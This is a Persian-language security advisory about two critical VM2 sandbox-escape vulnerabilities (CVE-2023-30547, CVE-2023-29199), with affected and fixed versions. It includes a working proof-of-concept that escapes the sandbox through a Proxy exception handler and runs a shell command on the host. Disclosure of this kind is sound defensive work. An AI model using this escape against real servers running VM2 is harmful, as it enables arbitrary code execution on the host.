تقریبا هفته های اخیر بود که یه آسیب پذیری بحرانی در کتابخونه VM2 که امکان دور زدن سندباکس به مهاجم میداد ، کشف و گزارش شد، حالا یه محقق دیگه دو تا آسیب پذیری بحرانی ، برای دور زدن سندباکس و اجرای کد در این کتابخونه گزارش کرده.
کتابخانه VM2 یه سندباکس جاوااسکریپت هستش . این سندباکس باعث اجرای کدهای غیرقابل اعتماد در یه محیط ایزوله در سرورهای Node.js میشه. این باعث عدم دسترسی غیر مجاز به منابع سیستم و داده های خارجی میشه.
تقریبا ماهانه 16 میلیون بار از طریق NPM دانلود میشه و در محیط های مختلفی مانند IDEها و ویرایشگرهای کد ، function-as-a-service (FaaS) ، فریمورکهای تست نفوذ ، ابزارهای امنیتی و محصولات مختلف جاوااسکریپت مورد استفاده قرار میگیره.
آسیب پذیری های جدید توسط SeungHyun Lee از KAIST کره کشف و گزارش شده و مرتبط با آسیب پذیری قبلی ، CVE-2023-29017 ، نیست.
آسیب پذیری CVE-2023-30547 :
آسیب پذیری در فرایند پاکسازی استثنائات در کتابخونه VM2 رخ میده و باعث میشه مهاجم بتونه یه unsanitized host exception داخل تابع handleException ایجاد کنه که منجر به دور زدن سندباکس و اجرای کد دلخواه میشه. این تابع بمنظور پاکسازی استثنائات بکار میره ، تا از افشای اطلاعات در خصوص میزبان جلوگیری کنه. مهاجم با ایجاد یه هندلر پروکسی در تابع getPrototypeOf باعث ایجاد یه unsanitized host exception میشه که باعث میشه تابع handleException نتونه اونو پاکسازی کنه. آسیب پذیری شدت بحرانی و امتیاز 9.8 داره.
نسخه آسیب پذیر : نسخه 3.9.16 و قبلترش
نسخه اصلاح شده :نسخه 3.9.17
PoC:
کد زیر یه فایل بنام pwned رو ایجاد میکنه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
const {VM} = require("vm2"); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } ` console.log(vm.run(code)); |
آسیب پذیری CVE-2023-29199 :
این آسیب پذیری هم در فرایند پاکسازی استثنائات و در source code transformer رخ میده. مهاجم میتونه با دور زدن handleException بتونه سندباکس دور بزنه و کد دلخواه اجرا کنه.
نسخه های تحت تاثیر: نسخه 3.9.15 و قبلترش
نسخه اصلاح شده: نسخه 3.9.16